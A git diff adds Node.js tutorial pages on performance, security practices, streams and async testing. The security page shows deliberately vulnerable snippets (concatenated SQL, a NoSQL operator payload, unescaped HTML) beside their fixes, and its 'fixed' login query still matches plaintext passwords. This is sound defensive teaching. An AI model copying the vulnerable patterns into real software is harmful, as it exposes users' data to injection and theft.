+ +## Performance Checklist + +- ✅ Use async/await and don't block event loop +- ✅ Implement caching (Redis, in-memory) +- ✅ Optimize database queries (indexes, eager loading) +- ✅ Use streams for large data +- ✅ Enable compression +- ✅ Use connection pooling +- ✅ Cluster your application +- ✅ Monitor performance metrics +- ✅ Profile and identify bottlenecks + diff --git a/src/data/question-groups/nodejs/content/security-best-practices.md b/src/data/question-groups/nodejs/content/security-best-practices.md new file mode 100644 index 000000000..abcaee329 --- /dev/null +++ b/src/data/question-groups/nodejs/content/security-best-practices.md @@ -0,0 +1,231 @@ +Security is critical for Node.js applications, especially those handling sensitive data or exposed to the internet. Here are the most common vulnerabilities and how to prevent them. + +## 1. SQL Injection Prevention + +Never concatenate user input directly into queries. + +```js +// ❌ Vulnerable to SQL injection +const query = `SELECT * FROM users WHERE id = ${req.params.id}`; +db.query(query); + +// ✅ Use parameterized queries +const query = 'SELECT * FROM users WHERE id = ?'; +db.query(query, [req.params.id]); + +// ✅ With an ORM (Sequelize) +const user = await User.findOne({ + where: { id: req.params.id } +}); +``` + +## 2. NoSQL Injection Prevention + +```js +// ❌ Vulnerable - user can pass { $gt: "" } +const user = await User.findOne({ + username: req.body.username, + password: req.body.password +}); + +// ✅ Validate and sanitize input +const { username, password } = req.body; + +if (typeof username !== 'string' || typeof password !== 'string') { + return res.status(400).json({ error: 'Invalid input' }); +} + +const user = await User.findOne({ + username: username.toString(), + password: password.toString() +}); +``` + +## 3. XSS (Cross-Site Scripting) Prevention + +```js +// ❌ Vulnerable - renders user input as HTML +app.get('/profile', (req, res) => { + res.send(`

Hello ${req.query.name}

`); +}); + +// ✅ Escape HTML entities +import escapeHtml from 'escape-html'; + +app.get('/profile', (req, res) => { + res.send(`

Hello ${escapeHtml(req.query.name)}

`); +}); + +// ✅ Use Content Security Policy +import helmet from 'helmet'; +app.use(helmet.contentSecurityPolicy({ + directives: { + defaultSrc: ["'self'"], + scriptSrc: ["'self'"], + } +})); +``` + +## 4. Using Helmet.js + +Helmet sets various HTTP headers to secure your app. + +```js +import helmet from 'helmet'; +import express from 'express'; +const app = express(); + +// Use all default protections +app.use(helmet()); + +// Or configure individually +app.use(helmet.xssFilter()); +app.use(helmet.noSniff()); +app.use(helmet.hidePoweredBy()); +app.use(helmet.frameguard({ action: 'deny' })); +``` + +## 5. Rate Limiting + +Prevent brute force and DDoS attacks. + +```js +import rateLimit from 'express-rate-limit'; + +const limiter = rateLimit({ + windowMs: 15 * 60 * 1000, // 15 minutes + max: 100, // limit each IP to 100 requests per window + message: 'Too many requests, please try again later' +}); + +app.use('/api/', limiter); + +// Stricter limit for auth endpoints +const authLimiter = rateLimit({ + windowMs: 60 * 60 * 1000, // 1 hour + max: 5, + message: 'Too many login attempts' +}); + +app.use('/api/login', authLimiter); +``` + +## 6. Secure Authentication + +```js +import bcrypt from 'bcrypt'; +import jwt from 'jsonwebtoken'; + +// Hash passwords +const hashPassword = async (password) => { + const salt = await bcrypt.genSalt(12); + return bcrypt.hash(password, salt); +}; + +// Verify passwords +const verifyPassword = async (password, hash) => { + return bcrypt.compare(password, hash); +}; + +// Generate JWT +const generateToken = (user) => { + return jwt.sign( + { id: user.id, email: user.email }, + process.env.JWT_SECRET, + { expiresIn: '1h' } + ); +}; + +// Use HTTP-only cookies for tokens +res.cookie('token', token, { + httpOnly: true, + secure: process.env.NODE_ENV === 'production', + sameSite: 'strict', + maxAge: 3600000 +}); +``` + +## 7. Input Validation + +```js +import Joi from 'joi'; + +const userSchema = Joi.object({ + username: Joi.string().alphanum().min(3).max(30).required(), + email: Joi.string().email().required(), + password: Joi.string().min(8).pattern(/^(?=.*[A-Za-z])(?=.*\d)/).required() +}); + +app.post('/register', async (req, res) => { + try { + const validated = await userSchema.validateAsync(req.body); + // Process validated data + } catch (err) { + res.status(400).json({ error: err.details[0].message }); + } +}); +``` + +## 8. Secure Environment Variables + +```js +// ❌ Never hardcode secrets +const JWT_SECRET = 'mysecret123'; + +// ✅ Use environment variables +import 'dotenv/config'; +const JWT_SECRET = process.env.JWT_SECRET; + +// ✅ Validate required env vars at startup +const requiredEnvVars = ['JWT_SECRET', 'DATABASE_URL', 'API_KEY']; + +requiredEnvVars.forEach((varName) => { + if (!process.env[varName]) { + console.error(`Missing required env var: ${varName}`); + process.exit(1); + } +}); +``` + +## 9. HTTPS and Secure Cookies + +```js +// Force HTTPS in production +if (process.env.NODE_ENV === 'production') { + app.use((req, res, next) => { + if (req.header('x-forwarded-proto') !== 'https') { + return res.redirect(`https://${req.header('host')}${req.url}`); + } + next(); + }); +} + +// Secure session configuration +import session from 'express-session'; + +app.use(session({ + secret: process.env.SESSION_SECRET, + resave: false, + saveUninitialized: false, + cookie: { + secure: true, + httpOnly: true, + sameSite: 'strict', + maxAge: 24 * 60 * 60 * 1000 + } +})); +``` + +## Security Checklist + +- ✅ Use parameterized queries (prevent SQL injection) +- ✅ Validate and sanitize all user input +- ✅ Use Helmet.js for security headers +- ✅ Implement rate limiting +- ✅ Hash passwords with bcrypt (salt rounds ≥ 12) +- ✅ Use HTTPS in production +- ✅ Store secrets in environment variables +- ✅ Keep dependencies updated +- ✅ Use HTTP-only, secure cookies +- ✅ Implement proper CORS policies + diff --git a/src/data/question-groups/nodejs/content/streams-and-buffers.md b/src/data/question-groups/nodejs/content/streams-and-buffers.md new file mode 100644 index 000000000..78dd760ef --- /dev/null +++ b/src/data/question-groups/nodejs/content/streams-and-buffers.md @@ -0,0 +1,153 @@ +Streams are collections of data that might not be available all at once and don't have to fit in memory. They're perfect for handling large files or data that comes from an external source piece by piece. Buffers are temporary storage for binary data. + +## Four Types of Streams + +### 1. Readable Streams +Data source that you can read from. + +```js +import fs from 'node:fs'; + +const readable = fs.createReadStream('large-file.txt', { + highWaterMark: 16 * 1024 // 16KB chunks +}); + +readable.on('data', (chunk) => { + console.log(`Received ${chunk.length} bytes`); +}); + +readable.on('end', () => { + console.log('Finished reading'); +}); +``` + +### 2. Writable Streams +Destination that you can write data to. + +```js +const writable = fs.createWriteStream('output.txt'); + +writable.write('Hello '); +writable.write('World!'); +writable.end(); // Signal no more data + +writable.on('finish', () => { + console.log('Write completed'); +}); +``` + +### 3. Duplex Streams +Both readable and writable (e.g., TCP sockets). + +```js +import net from 'node:net'; + +const server = net.createServer((socket) => { + // socket is a duplex stream + socket.on('data', (data) => { + socket.write(`Echo: ${data}`); + }); +}); +``` + +### 4. Transform Streams +Modify data as it passes through. + +```js +import { Transform } from 'node:stream'; + +const upperCase = new Transform({ + transform(chunk, encoding, callback) { + this.push(chunk.toString().toUpperCase()); + callback(); + } +}); +``` + +process.stdin.pipe(upperCase).pipe(process.stdout); +``` + +## Buffer vs Reading Entire File + +```js +import fs from 'node:fs'; + +// ❌ Bad: Loads entire file in memory +const data = fs.readFileSync('large-file.txt'); +console.log(data.length); // Could crash with large files + +// ✅ Good: Streams process chunks +const stream = fs.createReadStream('large-file.txt'); +let size = 0; +stream.on('data', (chunk) => { + size += chunk.length; +}); +stream.on('end', () => { + console.log(`Total size: ${size}`); +}); +``` + +## Piping Streams + +Chain streams together for powerful data processing: + +```js +import fs from 'node:fs'; +import zlib from 'node:zlib'; + +// Compress a file using streams +fs.createReadStream('input.txt') + .pipe(zlib.createGzip()) + .pipe(fs.createWriteStream('input.txt.gz')) + .on('finish', () => console.log('Compression complete')); +``` + +## Handling Backpressure + +When writable stream can't keep up with readable stream: + +```js +import fs from 'node:fs'; + +const readable = fs.createReadStream('source.txt'); +const writable = fs.createWriteStream('dest.txt'); + +readable.on('data', (chunk) => { + const canContinue = writable.write(chunk); + + if (!canContinue) { + // Pause reading until drain event + readable.pause(); + writable.once('drain', () => { + readable.resume(); + }); + } +}); +``` + +## When to Use Streams + +| Use Streams When | Use Buffer When | +|-----------------|-----------------| +| Large files (>100MB) | Small files (<10MB) | +| Real-time data processing | Need entire data at once | +| Memory is limited | Simple operations | +| Network I/O | Data fits in memory | + +## Working with Buffers + +```js +// Create buffer +const buf1 = Buffer.alloc(10); // 10 bytes, filled with zeros +const buf2 = Buffer.from('Hello'); +const buf3 = Buffer.from([72, 101, 108, 108, 111]); + +// Read/Write +buf1.write('Hi'); +console.log(buf2.toString()); // 'Hello' + +// Concatenate +const combined = Buffer.concat([buf2, Buffer.from(' World')]); +console.log(combined.toString()); // 'Hello World' +``` + diff --git a/src/data/question-groups/nodejs/content/testing-async-code.md b/src/data/question-groups/nodejs/content/testing-async-code.md new file mode 100644 index 000000000..98635e5ec --- /dev/null +++ b/src/data/question-groups/nodejs/content/testing-async-code.md @@ -0,0 +1,283 @@ +Testing asynchronous code in Node.js requires special handling to ensure tests wait for async operations to complete. Different testing frameworks provide various approaches to handle promises, callbacks, and async/await. + +## Testing with Jest + +### Async/Await (Recommended) + +```js +// Function to test +async function fetchUser(id) { + const response = await fetch(`/api/users/${id}`); + return response.json(); +} + +// Test +test('fetchUser returns user data', async () => { + const user = await fetchUser(1); + + expect(user).toHaveProperty('id', 1); + expect(user).toHaveProperty('name'); +}); +``` + +### Using Promises + +```js +test('fetchUser returns user data', () => { + return fetchUser(1).then(user => { + expect(user).toHaveProperty('id', 1); + }); +}); + +// Or with resolves/rejects matchers +test('fetchUser resolves with user', () => { + return expect(fetchUser(1)).resolves.toHaveProperty('id', 1); +}); + +test('fetchUser rejects for invalid id', () => { + return expect(fetchUser(-1)).rejects.toThrow('User not found'); +}); +``` + +### Testing Callbacks + +```js +// Using done callback +test('callback is called with data', (done) => { + fetchUserCallback(1, (err, user) => { + try { + expect(err).toBeNull(); + expect(user).toHaveProperty('id', 1); + done(); + } catch (error) { + done(error); + } + }); +}); +``` + +## Mocking Async Functions + +### Mocking API Calls + +```js +// userService.js +import axios from 'axios'; + +async function getUser(id) { + const response = await axios.get(`/api/users/${id}`); + return response.data; +} + +// userService.test.js +jest.mock('axios'); + +test('getUser fetches user from API', async () => { + const mockUser = { id: 1, name: 'John' }; + axios.get.mockResolvedValue({ data: mockUser }); + + const user = await getUser(1); + + expect(axios.get).toHaveBeenCalledWith('/api/users/1'); + expect(user).toEqual(mockUser); +}); + +test('getUser handles errors', async () => { + axios.get.mockRejectedValue(new Error('Network error')); + + await expect(getUser(1)).rejects.toThrow('Network error'); +}); +``` + +### Mocking Database Calls + +```js +// userRepository.js +import db from './db.js'; + +async function findUserById(id) { + return db.query('SELECT * FROM users WHERE id = ?', [id]); +} + +// userRepository.test.js +jest.mock('./db'); + +test('findUserById queries database', async () => { + const mockUser = { id: 1, name: 'John' }; + db.query.mockResolvedValue([mockUser]); + + const user = await findUserById(1); + + expect(db.query).toHaveBeenCalledWith( + 'SELECT * FROM users WHERE id = ?', + [1] + ); + expect(user).toEqual([mockUser]); +}); +``` + +## Testing with Mocha + +```js +import { expect } from 'chai'; + +describe('User API', () => { + // Async/Await + it('should fetch user', async () => { + const user = await fetchUser(1); + expect(user).to.have.property('id', 1); + }); + + // Promises + it('should fetch user with promise', () => { + return fetchUser(1).then(user => { + expect(user).to.have.property('id', 1); + }); + }); + + // Done callback + it('should call callback with user', (done) => { + fetchUserCallback(1, (err, user) => { + expect(err).to.be.null; + expect(user).to.have.property('id', 1); + done(); + }); + }); +}); +``` + +## Testing Timers + +```js +// Function using setTimeout +function delayedGreeting(callback) { + setTimeout(() => { + callback('Hello!'); + }, 1000); +} + +// Test with fake timers +beforeEach(() => { + jest.useFakeTimers(); +}); + +afterEach(() => { + jest.useRealTimers(); +}); + +test('calls callback after 1 second', () => { + const callback = jest.fn(); + + delayedGreeting(callback); + + expect(callback).not.toHaveBeenCalled(); + + jest.advanceTimersByTime(1000); + + expect(callback).toHaveBeenCalledWith('Hello!'); +}); +``` + +## Testing Event Emitters + +```js +import EventEmitter from 'node:events'; + +class DataProcessor extends EventEmitter { + async process(data) { + this.emit('start'); + const result = await processData(data); + this.emit('complete', result); + return result; + } +} + +test('emits events during processing', async () => { + const processor = new DataProcessor(); + const startHandler = jest.fn(); + const completeHandler = jest.fn(); + + processor.on('start', startHandler); + processor.on('complete', completeHandler); + + await processor.process({ value: 42 }); + + expect(startHandler).toHaveBeenCalled(); + expect(completeHandler).toHaveBeenCalledWith( + expect.objectContaining({ processed: true }) + ); +}); +``` + +## Testing HTTP Endpoints + +```js +import request from 'supertest'; +import app from './app.js'; + +describe('GET /api/users', () => { + it('returns list of users', async () => { + const response = await request(app) + .get('/api/users') + .expect('Content-Type', /json/) + .expect(200); + + expect(response.body).toBeInstanceOf(Array); + expect(response.body.length).toBeGreaterThan(0); + }); +}); + +describe('POST /api/users', () => { + it('creates a new user', async () => { + const newUser = { name: 'John', email: 'john@example.com' }; + + const response = await request(app) + .post('/api/users') + .send(newUser) + .expect(201); + + expect(response.body).toMatchObject(newUser); + expect(response.body).toHaveProperty('id'); + }); +}); +``` + +## Common Pitfalls + +### Forgetting to return/await + +```js +// ❌ Test passes even if promise rejects! +test('bad test', () => { + fetchUser(1).then(user => { + expect(user.id).toBe(999); // Never executed + }); +}); + +// ✅ Correct - return the promise +test('good test', () => { + return fetchUser(1).then(user => { + expect(user.id).toBe(1); + }); +}); + +// ✅ Or use async/await +test('better test', async () => { + const user = await fetchUser(1); + expect(user.id).toBe(1); +}); +``` + +### Timeout Issues + +```js +// Increase timeout for slow operations +test('slow operation', async () => { + const result = await slowOperation(); + expect(result).toBeDefined(); +}, 10000); // 10 second timeout + +// Or set globally +jest.setTimeout(10000); +``` +